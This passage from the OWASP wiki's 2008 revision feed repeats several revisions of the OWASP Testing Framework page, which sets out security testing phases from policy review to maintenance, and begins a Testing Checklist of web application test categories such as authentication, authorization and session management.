Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2D: Create and Review Threat Models===&lt;br /&gt;
&lt;br /&gt;
Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.&lt;br /&gt;
&lt;br /&gt;
==Phase 3: During Development==&lt;br /&gt;
&lt;br /&gt;
Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.&lt;br /&gt;
&lt;br /&gt;
===Phase 3A: Code Walkthroughs===&lt;br /&gt;
&lt;br /&gt;
The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were. &lt;br /&gt;
&lt;br /&gt;
The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.&lt;br /&gt;
&lt;br /&gt;
===Phase 3B: Code Reviews===&lt;br /&gt;
&lt;br /&gt;
Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects. &lt;br /&gt;
&lt;br /&gt;
Static code reviews validate the code against a set of checklists, including:&lt;br /&gt;
&lt;br /&gt;
* Business requirements for availability, confidentiality, and integrity.&lt;br /&gt;
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.&lt;br /&gt;
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.&lt;br /&gt;
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.&lt;br /&gt;
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime. &lt;br /&gt;
&lt;br /&gt;
For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].&lt;br /&gt;
&lt;br /&gt;
==Phase 4: During Deployment==&lt;br /&gt;
&lt;br /&gt;
===Phase 4A: Application Penetration Testing===&lt;br /&gt;
&lt;br /&gt;
Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed. &lt;br /&gt;
&lt;br /&gt;
===Phase 4B: Configuration Management Testing===&lt;br /&gt;
&lt;br /&gt;
The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.&lt;br /&gt;
&lt;br /&gt;
==Phase 5: Maintenance and Operations==&lt;br /&gt;
&lt;br /&gt;
===Phase 5A: Conduct Operational Management Reviews===&lt;br /&gt;
&lt;br /&gt;
There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.&lt;br /&gt;
&lt;br /&gt;
===Phase 5B: Conduct Periodic Health Checks===&lt;br /&gt;
&lt;br /&gt;
Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.&lt;br /&gt;
&lt;br /&gt;
===Phase 5C: Ensure Change Verification===&lt;br /&gt;
&lt;br /&gt;
After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is  checked to ensure that the level of security hasn’t been affected by the change.&lt;br /&gt;
&lt;br /&gt;
==A Typical SDLC Testing Workflow==&lt;br /&gt;
&lt;br /&gt;
The following figure shows a typical SDLC Testing Workflow.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
[[Image: Typical SDLC Testing Workflow.gif]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39072</id>
		<title>The OWASP Testing Framework</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39072"/>
				<updated>2008-09-10T07:00:01Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Phase 2A: Security Requirements Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.&lt;br /&gt;
&lt;br /&gt;
This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing. &lt;br /&gt;
&lt;br /&gt;
It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (&amp;lt;u&amp;gt;http://www.cybercrime.gov/cccases.html&amp;lt;/u&amp;gt;) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.&lt;br /&gt;
&lt;br /&gt;
With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.&lt;br /&gt;
&lt;br /&gt;
Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built. &lt;br /&gt;
&lt;br /&gt;
As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.&lt;br /&gt;
&lt;br /&gt;
This testing framework consists of the following activities that should take place:&lt;br /&gt;
&lt;br /&gt;
* Before Development Begins&lt;br /&gt;
* During Definition and Design&lt;br /&gt;
* During Development&lt;br /&gt;
* During Deployment&lt;br /&gt;
* Maintenance and Operations&lt;br /&gt;
&lt;br /&gt;
==Phase 1: Before Development Begins==&lt;br /&gt;
&lt;br /&gt;
Before application development has started:&lt;br /&gt;
&lt;br /&gt;
* Test to ensure that there is an adequate SDLC where security is inherent&lt;br /&gt;
* Test to ensure that the appropriate policy and standards are in place for the development team&lt;br /&gt;
* Develop the metrics and measurement criteria &lt;br /&gt;
&lt;br /&gt;
===Phase 1A: Review Policies and Standards===&lt;br /&gt;
&lt;br /&gt;
Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. &lt;br /&gt;
&lt;br /&gt;
''People can only do the right thing, if they know what the right thing is.''' '''''&lt;br /&gt;
&lt;br /&gt;
If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.&lt;br /&gt;
&lt;br /&gt;
===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===&lt;br /&gt;
&lt;br /&gt;
Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.&lt;br /&gt;
&lt;br /&gt;
==Phase 2: During Definition and Design==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Phase 2A: Review Security Requirements===&lt;br /&gt;
&lt;br /&gt;
Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions. &lt;br /&gt;
&lt;br /&gt;
For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible. &lt;br /&gt;
&lt;br /&gt;
When looking for requirements gaps, consider looking at security mechanisms such as:&lt;br /&gt;
&lt;br /&gt;
* User Management (password reset etc.)&lt;br /&gt;
* Authentication&lt;br /&gt;
* Authorization&lt;br /&gt;
* Data Confidentiality&lt;br /&gt;
* Integrity&lt;br /&gt;
* Accountability&lt;br /&gt;
* Session Management&lt;br /&gt;
* Transport Security&lt;br /&gt;
* Tiered System Segregation&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
===Phase 2B: Design and Architecture Review===&lt;br /&gt;
&lt;br /&gt;
Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements. &lt;br /&gt;
&lt;br /&gt;
Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).&lt;br /&gt;
&lt;br /&gt;
If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2C: Create and Review UML Models===&lt;br /&gt;
&lt;br /&gt;
Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2D: Create and Review Threat Models===&lt;br /&gt;
&lt;br /&gt;
Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.&lt;br /&gt;
&lt;br /&gt;
==Phase 3: During Development==&lt;br /&gt;
&lt;br /&gt;
Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.&lt;br /&gt;
&lt;br /&gt;
===Phase 3A: Code Walkthroughs===&lt;br /&gt;
&lt;br /&gt;
The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were. &lt;br /&gt;
&lt;br /&gt;
The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.&lt;br /&gt;
&lt;br /&gt;
===Phase 3B: Code Reviews===&lt;br /&gt;
&lt;br /&gt;
Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects. &lt;br /&gt;
&lt;br /&gt;
Static code reviews validate the code against a set of checklists, including:&lt;br /&gt;
&lt;br /&gt;
* Business requirements for availability, confidentiality, and integrity.&lt;br /&gt;
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.&lt;br /&gt;
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.&lt;br /&gt;
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.&lt;br /&gt;
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime. &lt;br /&gt;
&lt;br /&gt;
For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].&lt;br /&gt;
&lt;br /&gt;
==Phase 4: During Deployment==&lt;br /&gt;
&lt;br /&gt;
===Phase 4A: Application Penetration Testing===&lt;br /&gt;
&lt;br /&gt;
Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed. &lt;br /&gt;
&lt;br /&gt;
===Phase 4B: Configuration Management Testing===&lt;br /&gt;
&lt;br /&gt;
The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.&lt;br /&gt;
&lt;br /&gt;
==Phase 5: Maintenance and Operations==&lt;br /&gt;
&lt;br /&gt;
===Phase 5A: Conduct Operational Management Reviews===&lt;br /&gt;
&lt;br /&gt;
There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.&lt;br /&gt;
&lt;br /&gt;
===Phase 5B: Conduct Periodic Health Checks===&lt;br /&gt;
&lt;br /&gt;
Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.&lt;br /&gt;
&lt;br /&gt;
===Phase 5C: Ensure Change Verification===&lt;br /&gt;
&lt;br /&gt;
After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is  checked to ensure that the level of security hasn’t been affected by the change.&lt;br /&gt;
&lt;br /&gt;
==A Typical SDLC Testing Workflow==&lt;br /&gt;
&lt;br /&gt;
The following figure shows a typical SDLC Testing Workflow.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
[[Image: Typical SDLC Testing Workflow.gif]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39071</id>
		<title>The OWASP Testing Framework</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39071"/>
				<updated>2008-09-10T06:59:01Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Phase 1A: Policies and Standards Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.&lt;br /&gt;
&lt;br /&gt;
This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing. &lt;br /&gt;
&lt;br /&gt;
It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (&amp;lt;u&amp;gt;http://www.cybercrime.gov/cccases.html&amp;lt;/u&amp;gt;) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.&lt;br /&gt;
&lt;br /&gt;
With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.&lt;br /&gt;
&lt;br /&gt;
Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built. &lt;br /&gt;
&lt;br /&gt;
As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.&lt;br /&gt;
&lt;br /&gt;
This testing framework consists of the following activities that should take place:&lt;br /&gt;
&lt;br /&gt;
* Before Development Begins&lt;br /&gt;
* During Definition and Design&lt;br /&gt;
* During Development&lt;br /&gt;
* During Deployment&lt;br /&gt;
* Maintenance and Operations&lt;br /&gt;
&lt;br /&gt;
==Phase 1: Before Development Begins==&lt;br /&gt;
&lt;br /&gt;
Before application development has started:&lt;br /&gt;
&lt;br /&gt;
* Test to ensure that there is an adequate SDLC where security is inherent&lt;br /&gt;
* Test to ensure that the appropriate policy and standards are in place for the development team&lt;br /&gt;
* Develop the metrics and measurement criteria &lt;br /&gt;
&lt;br /&gt;
===Phase 1A: Review Policies and Standards===&lt;br /&gt;
&lt;br /&gt;
Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. &lt;br /&gt;
&lt;br /&gt;
''People can only do the right thing, if they know what the right thing is.''' '''''&lt;br /&gt;
&lt;br /&gt;
If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.&lt;br /&gt;
&lt;br /&gt;
===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===&lt;br /&gt;
&lt;br /&gt;
Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.&lt;br /&gt;
&lt;br /&gt;
==Phase 2: During Definition and Design==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Phase 2A: Security Requirements Review===&lt;br /&gt;
&lt;br /&gt;
Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions. &lt;br /&gt;
&lt;br /&gt;
For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible. &lt;br /&gt;
&lt;br /&gt;
When looking for requirements gaps, consider looking at security mechanisms such as:&lt;br /&gt;
&lt;br /&gt;
* User Management (password reset etc.)&lt;br /&gt;
* Authentication&lt;br /&gt;
* Authorization&lt;br /&gt;
* Data Confidentiality&lt;br /&gt;
* Integrity&lt;br /&gt;
* Accountability&lt;br /&gt;
* Session Management&lt;br /&gt;
* Transport Security&lt;br /&gt;
* Tiered System Segregation&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
===Phase 2B: Design and Architecture Review===&lt;br /&gt;
&lt;br /&gt;
Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements. &lt;br /&gt;
&lt;br /&gt;
Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).&lt;br /&gt;
&lt;br /&gt;
If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2C: Create and Review UML Models===&lt;br /&gt;
&lt;br /&gt;
Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2D: Create and Review Threat Models===&lt;br /&gt;
&lt;br /&gt;
Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.&lt;br /&gt;
&lt;br /&gt;
==Phase 3: During Development==&lt;br /&gt;
&lt;br /&gt;
Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.&lt;br /&gt;
&lt;br /&gt;
===Phase 3A: Code Walkthroughs===&lt;br /&gt;
&lt;br /&gt;
The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were. &lt;br /&gt;
&lt;br /&gt;
The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.&lt;br /&gt;
&lt;br /&gt;
===Phase 3B: Code Reviews===&lt;br /&gt;
&lt;br /&gt;
Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects. &lt;br /&gt;
&lt;br /&gt;
Static code reviews validate the code against a set of checklists, including:&lt;br /&gt;
&lt;br /&gt;
* Business requirements for availability, confidentiality, and integrity.&lt;br /&gt;
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.&lt;br /&gt;
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.&lt;br /&gt;
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.&lt;br /&gt;
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime. &lt;br /&gt;
&lt;br /&gt;
For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].&lt;br /&gt;
&lt;br /&gt;
==Phase 4: During Deployment==&lt;br /&gt;
&lt;br /&gt;
===Phase 4A: Application Penetration Testing===&lt;br /&gt;
&lt;br /&gt;
Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed. &lt;br /&gt;
&lt;br /&gt;
===Phase 4B: Configuration Management Testing===&lt;br /&gt;
&lt;br /&gt;
The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.&lt;br /&gt;
&lt;br /&gt;
==Phase 5: Maintenance and Operations==&lt;br /&gt;
&lt;br /&gt;
===Phase 5A: Conduct Operational Management Reviews===&lt;br /&gt;
&lt;br /&gt;
There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.&lt;br /&gt;
&lt;br /&gt;
===Phase 5B: Conduct Periodic Health Checks===&lt;br /&gt;
&lt;br /&gt;
Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.&lt;br /&gt;
&lt;br /&gt;
===Phase 5C: Ensure Change Verification===&lt;br /&gt;
&lt;br /&gt;
After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is  checked to ensure that the level of security hasn’t been affected by the change.&lt;br /&gt;
&lt;br /&gt;
==A Typical SDLC Testing Workflow==&lt;br /&gt;
&lt;br /&gt;
The following figure shows a typical SDLC Testing Workflow.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
[[Image: Typical SDLC Testing Workflow.gif]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=39070</id>
		<title>Testing Checklist</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=39070"/>
				<updated>2008-09-10T06:56:08Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
The following is the list of controls to test during the assessment:&lt;br /&gt;
&lt;br /&gt;
 '''Category	-  Ref. Number	 -  Test Name	-   Vulnerability'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Information Gathering	''' &amp;lt;br&amp;gt;&lt;br /&gt;
OWASP-IG-001	- 4.2.1 Spiders, Robots and Crawlers 	- N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-IG-002	- 4.2.2 Search Engine Discovery/Reconnaissance 	- N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-IG-003	- 4.2.3 Identify application entry points 	- N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-IG-004	- 4.2.3 Testing for Web Application Fingerprint 	- N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-IG-005	- 4.2.4 Application Discovery 	- N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-IG-006	- 4.2.5 Analysis of Error Codes	- Information Disclosure&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration Management Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-001	- 4.3.1 SSL/TLS Testing (SSL Version, Alghoritms, Key lenght, Digital Cert. Validity)	- SSL Weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-002	- 4.3.2 DB Listener Testing 	- DB Listener weak&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-003	- 4.3.3 Infrastructure Configuration Management Testing 	- Infrastructure Configuration management weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-003	- 4.3.4 Application Configuration Management Testing 	- Application Configuration management weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-005	- 4.3.5 Testing for File Extensions Handling 	- File extensions handling&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-006	- 4.3.6 Old, backup and unreferenced files 	- Old, backup and unreferenced files&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-007	- 4.3.7 Infrastructure and Application Admin Interfaces 	- Access to Admin interfaces&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-008	- 4.3.8 Testing for HTTP Methods and XST	- HTTP Methods enabled, XST permitted, HTTP Verb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Business logic testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-BL-001	- 4.4 Testing for Business Logic	- Bypassable business logic&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Authentication Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-001	- 4.5.1 Credentials transport over an encrypted channel 	Credentials transport over an encrypted channel&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-002	- 4.5.2 Testing for user enumeration 	User enumeration&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-003	- 4.5.3 Testing for Guessable (Dictionary) User Account 	Guessable user account&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-004	- 4.5.4 Brute Force Testing 	Brute forcing &lt;br /&gt;
&lt;br /&gt;
OWASP-AT-005	- 4.5.5 Testing for bypassing authentication schema 	bypassing authentication schema&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-006	- 4.5.6 Testing for vulnerable remember password and pwd reset 	vulnerable remember password, weak pwd reset&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-007	- 4.5.7 Testing for Logout and Browser Cache Management Testing	Logout function not properly implemented, browser &lt;br /&gt;
cache weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-008 - 4.5.8 Testing for CAPTCHA   Captcha implementation weakeness&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-009 - 4.5.9 Testing Multiple Factors Authentication - Weak Multiple Factors Authentication&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Authorization Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-001	- 4.6.1 Testing for Path Traversal 	- Path Traversal&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-002	- 4.6.2 Testing for bypassing authorization schema 	- Bypassing authorization schema&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-003	- 4.6.3 Testing for Privilege Escalation	- Privilege Escalation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Session Management	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-001	- 4.7.1 Testing for Session Management Schema	- Bypassing Session Management Schema, Weak Session Token&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-002	- 4.7.2 Testing for Cookies attributes	        - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-003    - 4.7.3 Testing for Session Fixation              - Session Fixation&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-004	- 4.7.4 Testing for Exposed Session Variables 	- Exposed sensitive session variables&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-005	- 4.7.5 Testing for CSRF 	                        - CSRF&lt;br /&gt;
